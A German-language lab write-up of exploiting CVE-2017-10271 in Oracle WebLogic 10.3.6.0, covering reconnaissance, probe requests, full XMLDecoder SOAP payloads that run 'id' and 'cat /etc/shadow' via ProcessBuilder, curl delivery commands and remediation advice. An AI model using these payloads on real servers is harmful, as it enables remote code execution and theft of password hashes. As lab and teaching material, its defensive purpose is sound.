LAB 2 - CVE-2017-10271: WebLogic XMLDecoder Deserialisierung - Dokumentation

I. Systemanalyse

Systemprotokollanalyse

• Erkannter Dienst: Oracle WebLogic Server (AdminServer zu base_domain gehörig, läuft im Entwicklungsmodus).
• Verbindungsport: 7001.
• Unterstützte Protokolle: http, t3, iiop, ldap, snmp.
• Bewertung der Angriffsfläche:
  • Der Dienst stellt das t3-Protokoll auf Port 7001 bereit. Diese Standardkonfiguration birgt ein hohes Risiko, wenn die WebLogic-Version nicht gegen Schwachstellen im Zusammenhang mit der Java-Objekt-Deserialisierung über RMI (Remote Method Invocation) gepatcht ist.
  • Die Weboberfläche der Verwaltungskonsole läuft über das http-Protokoll auf Port 7001, was sie anfällig für ein Verzeichnisscanning nach sensiblen Endpunkten wie /console/login/LoginForm.jsp macht.

Sobald die offenen Ports des Ziels identifiziert sind, verwenden wir nmap, um den Port zu scannen und den darauf laufenden Dienst zu bestimmen.

Das Ziel bietet also einen HTTP-Dienst mit der Version Oracle WebLogic Server 10.3.6.0 – ein bekannter Java-Enterprise-Anwendungsserver, der für eine Reihe kritischer CVEs (wie Deserialisierung, Auth Bypass) berüchtigt ist. Diese Information allein reicht jedoch nicht aus, um zu schlussfolgern, für welche spezifische Schwachstelle das System anfällig ist. Wir müssen tiefer scannen und die begleitenden Webdienstkomponenten untersuchen.

Als Nächstes identifizieren wir seine sensiblen Endpunkte mit dem Tool dirsearch. Da WebLogic auf der Java-Plattform läuft, sind .jsp- und .xml-Dateien die sensibelsten Ziele. Wir konzentrieren uns auf Endpunkte, die einen 200-Statuscode zurückgeben.

dirsearch -u http://192.168.3.137:7001/ -e jsp,xml,html

• /console/login/LoginForm.jsp: Das Anmeldeportal für die WebLogic Admin Console-Weboberfläche. Dies ist ein wichtiges Ziel für Brute-Force-Angriffe auf Standard-Anmeldedaten oder Authentifizierungsumgehungs-Schwachstellen (wie CVE-2020-14882).
• /bea_wls_internal/: Das standardmäßige interne Webanwendungsverzeichnis von WebLogic Server. Diese Komponente ermöglicht den Zugriff auf und die Interaktion mit statischen Systemdateien.
• /wls-wsat/CoordinatorPortType: Dies ist die kritischste Entdeckung. Das Vorhandensein dieses Pfades mit einem 200 OK-Statuscode bestätigt, dass die Komponente Web Services Atomic Transactions (wls-wsat) aktiviert und bereit ist, Daten zu empfangen.
• /uddiexplorer und /uddi/uddilistener: Dies ist die UDDI Explorer-Komponente (Universal Description, Discovery, and Integration), die standardmäßig in WebLogic Server integriert ist, um Webdienste zu verwalten und zu registrieren. Diese Komponente ist äußerst bekannt für die SSRF (Server-Side Request Forgery) - CVE-2014-4210-Schwachstelle. Ein Angreifer kann die öffentliche Registrierungssuche-Schnittstelle von UDDI am Endpunkt /uddiexplorer/SearchPublicRegistries.jsp ausnutzen, um den WebLogic-Server zu zwingen, beliebige HTTP-Anfragen an das interne Netzwerk im Backend zu senden.

⇒ Überlegung: Das gleichzeitige Vorhandensein von /wls-wsat (RCE-Risiko via XMLDecoder) und /uddiexplorer (SSRF-Risiko) deutet darauf hin, dass die Angriffsfläche dieses WebLogic-Servers extrem breit ist.

Nachdem zwei unabhängige Angriffsflächen auf dem WebLogic 10.3.6.0-Server identifiziert wurden, analysieren wir die zwei Richtungen:

1. SSRF-Schwachstelle (CVE-2014-4210) bei /uddiexplorer:
   • Mittlere Auswirkung: Ermöglicht das Senden indirekter HTTP-Anfragen vom Server, um Ports im LAN zu scannen oder mit internen Diensten (wie Redis) zu interagieren.
   • Einschränkungen: Gewährt keine direkte Kontrolle auf Betriebssystemebene (OS Level). Die Eskalation von SSRF zu RCE hängt stark davon ab, ob das interne Netzwerk andere falsch konfigurierte Dienste enthält.
2. XMLDecoder-Deserialisierungsschwachstelle (CVE-2017-10271) bei /wls-wsat:
   • Auswirkung: Kritisch. Ermöglicht eine direkte entfernte Codeausführung (RCE) auf dem Server mit den Rechten des laufenden Prozesses.

⇒ Entscheidung: Im Modell der Cyber-Angriffskette ist RCE immer das ultimative Ziel, da es eine direkte und vollständige Kontrolle über das System (Full System Compromise) ermöglicht. Sobald die RCE-Fähigkeit erreicht ist, wird die Ausnutzung von SSRF über die UDDI-Anwendung überflüssig. Denn von einer RCE-Shell aus können wir aktiv interne Netzwerkanfragen auf direkte, flexible und leistungsfähigere Weise stellen (mit Systembefehlen wie curl, wget), ohne durch die Parameter der UDDI-Schnittstelle eingeschränkt zu sein.

Daher entscheiden wir uns in der Logik der Exploit-Priorisierung dafür, den sekundären Pfad (SSRF bei /uddiexplorer) auszuschließen und uns vollständig auf die Erforschung der: Remote Code Execution (RCE) via der XMLDecoder-Deserialisierungsschwachstelle bei /wls-wsat/CoordinatorPortType zu konzentrieren.

Analyse des Schwachstellenmechanismus und Tests

Die zugrunde liegende Schwachstelle von CVE-2017-10271 tritt auf, weil die WebLogic-Klasse WorkContextXmlInputAdapter das Objekt java.beans.XMLDecoder verwendet, um Daten im Tag <work:WorkContext> zu parsen. Standardmäßig instanziiert diese XMLDecoder-Klasse automatisch jede im XML-Tag-Format definierte Java-Klasse. Von hier aus führen wir eine Überprüfung basierend auf schrittweisen systemischen Verhaltensinteraktionen durch.

Um den tatsächlichen aktiven Status dieses Servlets schnell zu überprüfen, senden Sie eine normale HTTP-GET-Sondenanfrage:

curl -i -s http://192.168.3.137:7001/wls-wsat/CoordinatorPortType

Die Antwort gibt HTTP/1.1 200 OK zusammen mit der Implementierungsklasse CoordinatorPortTypePortImpl zurück, was bestätigt, dass das Servlet erfolgreich in den JVM-Speicher geladen wurde.

POST-Datenverarbeitungs-Überprüfung

Da Webdienst-Servlets dafür ausgelegt sind, SOAP-XML-Daten über die POST-Methode zu verarbeiten, führen wir vergleichende Tests mit zwei POST-Anfragen durch, um die Datenverarbeitungspipeline des Systems zu demonstrieren:

1. Standard-SOAP-POST-Anfrage

Wir senden einen Standard-SOAP-XML-Envelope (mit vollständigen Namensräumen, aber ohne Ausführungsinhalt), um die normale Parsing-Fähigkeit des Parsers zu testen.

curl -i -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
-H "Content-Type: text/xml;charset=UTF-8" \
-d "<soapenv:Envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/'>soapenv:Header/soapenv:Body/</soapenv:Envelope>"

• Ergebnis: Das System durchläuft den Parser problemlos und zeigt nur einen Fehler auf der Backend-Dienstlogik-Ebene an (Cannot find dispatch method).

Analyse:

Der Server verfügt über einen gut funktionierenden XML-Reader am POST-Port, der bereit ist, die gesamte vom Benutzer gesendete XML-Baumstruktur zu empfangen und zu dekodieren. Dies bestätigt, dass die Datenpipeline vom Client tief in den Speicher von WebLogic hinein vollständig betriebsbereit ist.

2. Fehlerhafte XML-POST-Anfrage

Als Nächstes brechen wir absichtlich die XML-Struktur (z. B. fehlende Namensräume), um den Ausnahmebehandlungsmechanismus des Parsers zu beobachten.

curl -i -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
-H "Content-Type: text/xml;charset=UTF-8" \
-d "soapenv:Envelopesoapenv:Headerwork:WorkContextinvalid_xml_structure</work:WorkContext></soapenv:Header></soapenv:Envelope>"

• Ergebnis: Es wird die Ausnahme com.ctc.wstx.exc.WstxParsingException: Undeclared namespace prefix "soapenv" zurückgegeben.

Analyse:

1. Jedes Zeichen, jedes XML-Tag im Body des POST-Pakets wird direkt an den untersten Java-XML-Parser innerhalb der JVM (com.ctc.wstx) zur Analyse weitergeleitet.
2. Das System hat keinen Prüfpunkt, Filter oder eine Web Application Firewall (WAF) dazwischen, um Eingabedaten zu filtern. Wenn ein Filter existierte, wäre das Paket von Anfang an blockiert worden, anstatt tief in die Java-Parser-Ebene einzudringen und einen Systemfehler wie diesen auszulösen.

Fazit

Die Kombination aus praktischen Versuchsergebnissen und der Systemarchitekturanalyse – vom Servlet wls-wsat, das Rohpakete über den POST-Port empfängt, über das Fehlen eines WAF/Sanity-Filters auf der Parser-Ebene bis hin zur direkten Ausgabe von rohen Java-XML-Reader-Fehlern – bestätigt, dass der Server eine äußerst sensible Dienststruktur betreibt, die direkt im Geltungsbereich von CVE-2017-10271 (XMLDecoder-Deserialisierung) liegt.

Da der standardmäßige Parsemechanismus von XMLDecoder keine Klassenkontrollfilter besitzt, stellt der Server, der rohe POST-Daten ohne Bereinigung empfängt, die perfekte Tür dar, um im nächsten Schritt Payloads zu entwerfen, die direkt Java-Systemausführungsobjekte aufrufen.

II. EXPLOIT

Manuelles Payload-Konstruktionsdenken

Da der WebLogic 10.3.6.0-Server in einer alten Java-Umgebung läuft und keine strengen Klassenkontrollfilter für XMLDecoder anwendet, kann ein Angreifer direkt ausführbare Java-Objekte injizieren.

Die Standardklasse zum Ausführen von Befehlen in Java ist java.lang.ProcessBuilder. Wir bilden diese Java-Objektinitialisierungslogik in ein XML-Format ab, das mit XMLDecoder kompatibel ist:

• Klasseninitialisierungsdeklaration: <void class="java.lang.ProcessBuilder">
• Definieren Sie ein String-Array von Parametern, die den auszuführenden Befehl enthalten: <array class="java.lang.String" length="3">
• Lösen Sie die Ausführungsmethode aus: <void method="start"/>

Umgehen von Blind RCE

Wenn ein Systembefehl über ProcessBuilder ausgeführt wird, führt der WebLogic-Server den Befehl im Hintergrund auf dem Betriebssystem aus und gibt nur einen HTTP-500-Fehlercode zurück (er gibt die Befehlsausgabe nicht direkt auf dem HTTP-Antwortbildschirm aus). Dieser Mechanismus heißt Web Application Mapping – alle Webserver arbeiten so. Das Verzeichnis war/ ist das Document Root dieser Anwendung. Jede Datei im Verzeichnis war/ kann über eine kurze URL aufgerufen werden.

⇒ Um Blind RCE zu umgehen, müssen wir den physischen Pfad finden – da der Befehl id > ... auf dem Betriebssystem ausgeführt wird, benötigt er den tatsächlichen Pfad.

White-Box-Analyse zum Finden des /war-Verzeichnisses

Um den tatsächlichen physischen Pfad der Anwendung bea_wls_internal zu finden, die innerhalb des Containers geladen wird, führen wir eine Systemabfrage direkt vom Host-Rechner aus durch:

Ergebnisse

• /root/Oracle/Middleware/wlserver_10.3/server/lib/bea_wls_internal.war (Original-Archiv-Bibliotheksdatei).
• /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal (Entpacktes aktives Anwendungsverzeichnis im temporären Partition _WL_internal des AdminServer). Wenn wir tief in dieses aktive Verzeichnis gehen, finden wir das Unterverzeichnis mit den statischen Dateien: /9j4dqk/war/. Dies ist das absolute Web-Root-Verzeichnis der Anwendung, in dem der Angreifer Schreibrechte hat, um statische Dateien zu schreiben und die RCE-Ausführungsergebnisse anzuzeigen.

Denken: Entwerfen Sie einen Befehl, um die Ausgabe von id in eine statische Datei rce.txt im obigen Verzeichnis umzuleiten: id > /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/rce.txt

Erstellen des XMLDecoder-Exploit-Payloads

Aus der obigen Analyse wissen wir, dass die Java-Klasse XMLDecoder automatisch jedes in XML-Tags definierte Objekt instanziiert und ausführt. Um Betriebssystembefehle in Java aufzurufen, ist die Standardklasse java.lang.ProcessBuilder.

Der Abbildungsprozess vom äquivalenten Java-Code zur XMLDecoder-XML-Struktur:

Äquivalenter Java-Code:

String[] cmd = {"/bin/bash", "-c", "id > /root/.../war/rce.txt"};
new ProcessBuilder(cmd).start();

Abbildung auf XMLDecoder-XML-Tags:

Erstellen Sie die Datei exploit.xml auf der Kali-Linux-Maschine mit der vollständigen SOAP-Struktur:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java version="1.6.0" class="java.beans.XMLDecoder">
        <void class="java.lang.ProcessBuilder">
          <array class="java.lang.String" length="3">
            <void index="0">
              <string>/bin/bash</string>
            </void>
            <void index="1">
              <string>-c</string>
            </void>
            <void index="2">
              <string>id > /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/rce.txt</string>
            </void>
          </array>
          <void method="start"/>
        </void>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

Senden Sie die XML-Datei mit dem Exploit-Payload von der Kali-Linux-Maschine an den Zielendpunkt:

curl -i -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
  -H "Content-Type: text/xml;charset=UTF-8" \
  -d @exploit.xml

Überprüfen der RCE-Ergebnisse

Greifen Sie auf die soeben erstellte statische Datei rce.txt im Web-Root-Verzeichnis zu:

curl -s http://192.168.3.137:7001/bea_wls_internal/rce.txt

Erfolgreicher RCE-Exploit. Das Ergebnis des id-Befehls bestätigt, dass der WebLogic-Prozess mit root-Berechtigungen läuft.

III. POST-EXPLOITATION

Berechtigungsüberprüfung

Das Ausführungsergebnis des id-Befehls gibt uid=0(root) zurück. Dies beweist, dass der WebLogic Server-Prozess direkt mit den höchsten root-Berechtigungen des Betriebssystems läuft. Der Angreifer hat die volle Kontrolle über das System, ohne zusätzliche Privilege Escalation-Schritte zu benötigen.

Sammeln sensibler Daten

Ein Angreifer kann problemlos sensible Systemdateien wie /etc/shadow lesen. Wir erstellen die Datei exploit_shadow.xml und senden sie über das XML-Payload, so dass der WebLogic-Server sie automatisch ausführt. Dies befiehlt dem Server, die Datei zu lesen und in das Document root-Verzeichnis zu leiten, damit sie von der externen URL aus aufgerufen werden kann.

cat > exploit_shadow.xml << 'EOF'
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java version="1.6.0" class="java.beans.XMLDecoder">
        <void class="java.lang.ProcessBuilder">
          <array class="java.lang.String" length="3">
            <void index="0">
              <string>/bin/bash</string>
            </void>
            <void index="1">
              <string>-c</string>
            </void>
            <void index="2">
              <string>cat /etc/shadow > /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shadow.txt</string>
            </void>
          </array>
          <void method="start"/>
        </void>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>
EOF

Dann senden Sie das Payload und lesen die Datei von außen:

curl -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
  -H "Content-Type: text/xml;charset=UTF-8" -d @exploit_shadow.xml

curl -s http://192.168.3.137:7001/bea_wls_internal/shadow.txt

Die gesamte Systemkontenliste samt Passwort-Hashes ist vollständig offengelegt.

Reverse Shell

Da der Container in einer isolierten internen Netzwerkumgebung (NAT/Bridge des Docker-Hosts) läuft, kann das Einrichten einer Reverse-Verbindung (Reverse Shell) zurück zur Kali-Maschine außerhalb des LANs auf Routing-Hindernisse stoßen. In einer realen Umgebung (Produktion) kann der Angreifer durchaus eine Reverse Shell einrichten, wenn der Server eine ausgehende Internetverbindung hat.

Die Fähigkeit zur Remote-Codeausführung (RCE) direkt mit root-Berechtigungen und die Möglichkeit, Dateien über das Web-Root interaktiv zu lesen/schreiben, reichen jedoch aus, um eine vollständige Systemkompromittierung zu bestätigen.

IV. BEWERTUNG & EMPFEHLUNGEN

Risikobewertung

Die XMLDecoder-Deserialisierungsschwachstelle (CVE-2017-10271) auf diesem WebLogic-System wird als kritischstes Risikoniveau (Critical) eingestuft:

Empfehlungen zur Behebung

Um diese kritische Sicherheitsschwachstelle vollständig zu beheben, müssen Administratoren sofort folgende Maßnahmen umsetzen:

Dringende Priorität (kurzfristig):

1. Löschen oder Deaktivieren der wls-wsat-Komponente: Wenn das System keine Web Services Atomic Transactions (WSAT)-Funktionen verwendet, löschen Sie den Ordner wls-wsat.war im WebLogic-Installationspfad und starten Sie den Dienst neu, um diese Angriffsfläche vollständig zu entfernen.
2. Sicherheitspatch anwenden (Patching): Wenden Sie umgehend das eigenständige Sicherheitsupdate-Paket von Oracle für CVE-2017-10271 an oder aktualisieren Sie WebLogic Server auf eine neuere sichere Version (Version 12c oder höher hat den XML-Verarbeitungsmechanismus durch eine sichere Alternative ersetzt).
3. Ausführungsberechtigungen des Prozesses herabstufen: Konfigurieren Sie den WebLogic-Dienst neu, damit er unter einem eingeschränkten Benutzerkonto (z. B. oracle) läuft, und führen Sie den Prozess niemals mit root-Berechtigungen aus.

Langfristige Priorität (Defense-in-depth):

1. Web Application Firewall (WAF) bereitstellen: Konfigurieren Sie Regeln auf der WAF, um POST-Anfragen an /wls-wsat/-Endpunkte zu erkennen und zu blockieren, die für XMLDecoder charakteristische XML-Tags wie <java>, <object>, <void>, <class>, <method> enthalten.
2. Netzwerksegmentierung konfigurieren: Isolieren Sie den WebLogic-Container, blockieren Sie unnötigen ausgehenden Netzwerkverkehr (Outbound-Verbindungen), um das Risiko von Reverse Shells oder dem Herunterladen von Schadcode in den Container von außen zu minimieren.